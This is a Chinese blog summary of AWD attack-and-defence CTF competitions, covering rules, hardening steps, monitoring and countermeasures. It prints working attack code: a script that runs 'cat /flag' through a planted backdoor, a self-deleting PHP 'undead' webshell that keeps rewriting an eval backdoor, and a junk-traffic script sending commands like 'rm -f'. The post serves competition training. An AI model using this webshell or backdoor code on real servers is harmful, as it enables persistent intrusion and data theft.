首页 > 其他分享 >AWD攻防赛小结

AWD攻防赛小结

时间:2023-07-18 10:11:20浏览次数:44  
标签:后门 攻防 php 脚本 漏洞 flag 监控 AWD 小结

AWD简介:

  比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 一般分配web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下)
  • Flag在主办方的设定下每隔一段时间刷新
  • 各队一般都有自己的初始分数
  • 扣除的积分由获取flag的队伍均分
  • 协方会对每个队伍的服务器进行check服务宕机扣除本轮flag分数由服务check正常的队伍均分
  • 一般每支队伍会给一个低权限用户,非root用户

AWD常见比赛规则说明

  Attack With Defence,简而言之就是你既是一个 hacker,又是一个 manager。

  比赛形式:一般就是一个 ssh 对应一个 web 服务,然后 flag 五分钟一轮,各队一般都有自己的初始分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check,check 不过就扣分,扣除的分值由服务 check 正常的队伍均分。其中一半比赛以 WEB 居多,可能会涉及内网安全,攻击和防御(大部分为前面笔记所述)

前期准备

  • 队伍分工明确
  • 脚本工具环境完整
  • 漏洞POC/EXP库完整
  • 安全防御WAF及批量脚本完整

必备操作

  • 备份网站文件
  • 修改数据库默认密码
  • 修改网页登陆端一切弱密码
  • 查看是否留有后门账户
  • 关闭不必要端口(如远程登陆端口)
  • 使用命令匹配一句话特性
  • 关注是否运行了“特殊”进程
  • 权限高可以设置防火墙或者进制他人修改本目录

防守-扫描后门-实现第一时间利用预留后门攻击-升级脚本版

  最快第一时间操作,此类技术核心在于扫描源码中预留或隐藏后门。

  当网站服务器被入侵时,我们需要一款webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

防守-代码审计-实现第一时间找出源码中安全漏洞-升级漏洞库版

  简要分析可能存在的安全问题,配合流量监控及代码审计后续操作(框架及非框架,源码语言,漏洞库等)进行漏洞判定。

  • Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)
  • Fortify——(支持语言丰富,速度较慢,审计结果更多、更详细)

防守-文件监控-实现第一时间监控当前目录文件操作-升级流量监控

  最快第一时间操作,在防守攻击的时候,实时监控的当前目录文件上传删除等操作,有效防止恶意删除、上传后门等,后续可配合流量操作等行为监控找出更多漏洞。

攻击-批量flag-实现第一时间利用脚本批量获取flag得分-升级模板不死马

  攻击第一时间操作,写好批量获取flag脚本后,预定flag更新时间,实现自动获取及提交,升级后门写入及不死马等操作,实现权限维持实时获取得分。

  假设分析脚本,发现一个后门,针对这个后门,可以批量写脚本。

 

批量获取并提交:

import requests

def get_flag():  //获取flag

    data={

        'shell':'cat /flag'

    }

    for i in range(8801,8804):

        url='http://192.168.76.156:' + str(i) + '/footer.php'

        result=requests.post(url,data=data).content.decode('utf-8')

        print(result)

        with open(r'flag.txt','a+') as f:

            f .write(result+'\n')

            f.close()

 

def tijiao_flag():  //提交flag

    for flag in open('flag.txt'):

        flag=flag.replace('\n','')

        url='http://192.168.76.156:8080/flag_file.php?token=team1&flag='+flag

        requests.get(url)

 

if __name__ == '__main__':

    get_flag()

tijiao_flag()

防守-流量监控-实时获取访问数据包流量

  利用WEB访问监控配合文件监控能实现web攻击分析及后门清除操作,确保写入后门操作失效,也能确保分析到五后门攻击漏洞的数据包便于后期利用。

  上传文件监控脚本log-record.php,该脚本需要在网站配置文件footer.php中包含一下,否则无法正常调用运行。

 

  之后一旦有人访问了系统,它就会在/tmp/目录下生成一个log日志

  接下来就可以实时监控该日志

 

  • 分析有后门或无后门的攻击行为数据包找到漏洞进行修复
  • 分析到成功攻击的数据包进行自我利用,用来攻击其他队伍

攻击-权限维持-不死脚本后门生成及查杀

  再攻击利用后门获取flag时,不死后门的权限维持尤为重要,同时防守方也要掌握对其不死后门的查杀和利用,这样才能获取更高的分数,对比文件监控前后问题。

不死马

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(__FILE__);

$file = './.index.php';

$code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>';

//pass=Sn3rtf4ck 马儿用法:fuckyou.php?pass=Sn3rtf4ck&a=command

while (1){

       file_put_contents($file,$code);

       usleep(5000);

}

?>

如何应对不死马

  • ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
  • 重启php等web服务
  • 用一个ignore_user_abort(true)脚本,一直竞争写入(覆盖对方写入的后门code,让对方无法连接),usleep要低于对方不死马设置的值。
  • 创建一个和不死马生成的马一样名字的文件夹。

monitor-文件监控脚本

  monitor.py开启之前,写入不死后门,monitor.py无法对其查杀,不死后门有作用;monitor.py开启之后,写入不死后门,monitor.py可以对其查杀,不死后门无作用。

  Monitor脚本:(48条消息) 第81天-红蓝对抗-AWD 监控&不死马&垃圾包&资源_IsecNoob的博客-CSDN博客_awd文件监控

其他-恶意操作-搅屎棍发包-回首掏共权限

  作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用。

  搅屎棍:发生大量垃圾数据包,混淆视觉,给对方人员增加检测的难度,浪费对方的时间。

  回首掏:配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试。

搅屎棍脚本:

import requests

import time

 

def scan_attack():

    file={ 'shell.php','x.php','index.php','web.php','1.php' }

    payload={'cat /flag','ls -al','rm -f','echo 1'}

    while(1):

        for i in range(8802, 8804):

            for ii in file:

                url= 'http://192.168.76.156:'+ str(i)+'/'+ii

                for iii in payload:

                    data={

                        'payload':iii

                    }

                    try:

                        requests.post(url,data = data)

                        print("正在搅尿:" + str(i) + ' | ' + ii + '| ' + iii)

                        time.sleep(0.5)

                    except Exception as e:

                        time.sleep(0.5)

                        pass

 

 

if __name__ == '__main__':

    scan_attack()

漏洞资源-漏洞资料库及脚本工具库

  漏洞库:exploitdb,github 监控最新信息,平常自己收集整理

  文档资料:零组类似文档离线版爬虫,各类资料,平常自己收集整理

  脚本工具:忍者系统配合自己常用工具,github 监控 awd 脚本,收集整理

标签:后门,攻防,php,脚本,漏洞,flag,监控,AWD,小结
From: https://www.cnblogs.com/cx330ki/p/17562047.html

相关文章

  • 攻防世界SSRF_ME
    首先看一下md5截断:substr(md5(captcha),-6,6)=="4c3d26",表示从字符串倒数第6位开始,往后截取6位captcha是验证码的意思,一般是数字,所以可以直接爆破数字importhashlibforiinrange(1000000):ifhashlib.md5(str(i).encode()).hexdigest().endswith('15f494'):......
  • 2023.7.17小结
    前排碎碎念今天是去if楼的第二天,昨晚开了好久好久的会,小狮子要来湘潭找我了,有些开心。但是好好学习比较重要捏,那就让他先独守空房一阵子叭,诶嘿今天我值日,虽然我早上起不来但是可以晚上晚点走,主打一个新加坡作息。浅浅看一下今天的任务清单好咯。任务清单高精度快速幂并查集......
  • iis7中session丢失的解决方法小结
    WindowsServer2008+IIS+ASP.net+SQLServer2008搭建的内部WEB系统。 用户Session总是丢失,可能是IIS的不稳定性将导致Session频繁丢失。 用的是Session=SQLSEVER,即把Session保存到数据库。 解决方法: 1,在命令行进入如下地址(InstallSqlState.sql文件目录) cd"C:\WINDOWS\Mic......
  • 2023.7.16小结
    依旧是开头的碎碎念今天是正式的回学校学习的日子啦,去了if楼写代码,唔比家里要舒服的多(主要是喜欢这个屏幕);花了好几天的时间收拾家呜呜呜累洗掉了啦,今晚还有个cf...大概会掉分叭哭哭,感觉一朝回到解放前,昨晚思考了一下今天学些什么,发现基本上都不会啦(喜报:都不会啦)那还能怎么办呢,只......
  • Ant design的Table组件报错TypeError: rawData.some is not a function
    [(54条消息)Antdesign的Table组件报错TypeError:rawData.someisnotafunction_清颖~的博客-CSDN博客](https://blog.csdn.net/aaqingying/article/details/118971186)React的组件库,AntDesign之Table系列问题解决。这个问题其实很简单,但也很常见呢~看了网上的其他博文,说不......
  • 内部赛-2023第三届网络安全攻防大赛个人赛②-复赛
    Misc签到cyberchef打开.input:0db584e82fce27bab2e2677e4dd3a95749dddfdf08d52ebe80501df6aac2571fddd3d80dd5df681dc7c57efb831ea5adkey选utf8:1234567890abcdefmode选ECB爆破的魅力stegsolve看文件信息提示Ibelieveinthesecurityofaes&lsbsteganographyaes加......
  • 性能测试流程小结
    1)根据功能模块,准备测试脚本2)根据需求方要求,根据并发数设计测试场景(线程数,Ramp-Up,循环次数,thinktime等参数),修改调试脚本3)给脚本添加结果树,aggregatereport(汇总报告)4)使用多个vm,分布式运行jmeter。运行前通知服务端对数据库保存快照。运行时告知服务端同时检测服务器性能及相关的......
  • Shell 特殊符号(变量)用法小结
    Shell|特殊变量 $n基本语法:$n (功能描述:n为数字,$0 代表该脚本名称,$1-$9 代表第一到第九个参数,十以上的参数,十以上的参数需要用大括号包含,如${10})例如:$touchparameter.sh$vimparameter.sh#!/bin/bashecho'==========$n=========='echo$0echo$1echo$2......
  • 5.1 缓冲区溢出与攻防博弈
    在黑客安全圈子中,基于内存攻击技术的攻击手段在随着时代的变化而不断发展着,内存攻击是指通过利用软件的安全漏洞,构造恶意的输入,从而使正常程序造成拒绝服务或者是远程获得控制权,内存攻击技术中最先登上历史舞台的就是缓冲区溢出漏洞,时至今日能够被广泛利用的并具有较大破坏性的高......
  • JavaWeb回顾与小结(八)
    分模块设计与开发介绍将项目按照功能拆分成若干个子模块,方便项目管理维护,扩展,也方便模块间的互相调用,资源共享分模块开发的好处增强代码的复用性:一些通用的工具类,实体类可以抽取到独立的模块,进行重用便于分工:按业务划分模块可以让开发人员编写代码更为独立,互不干扰......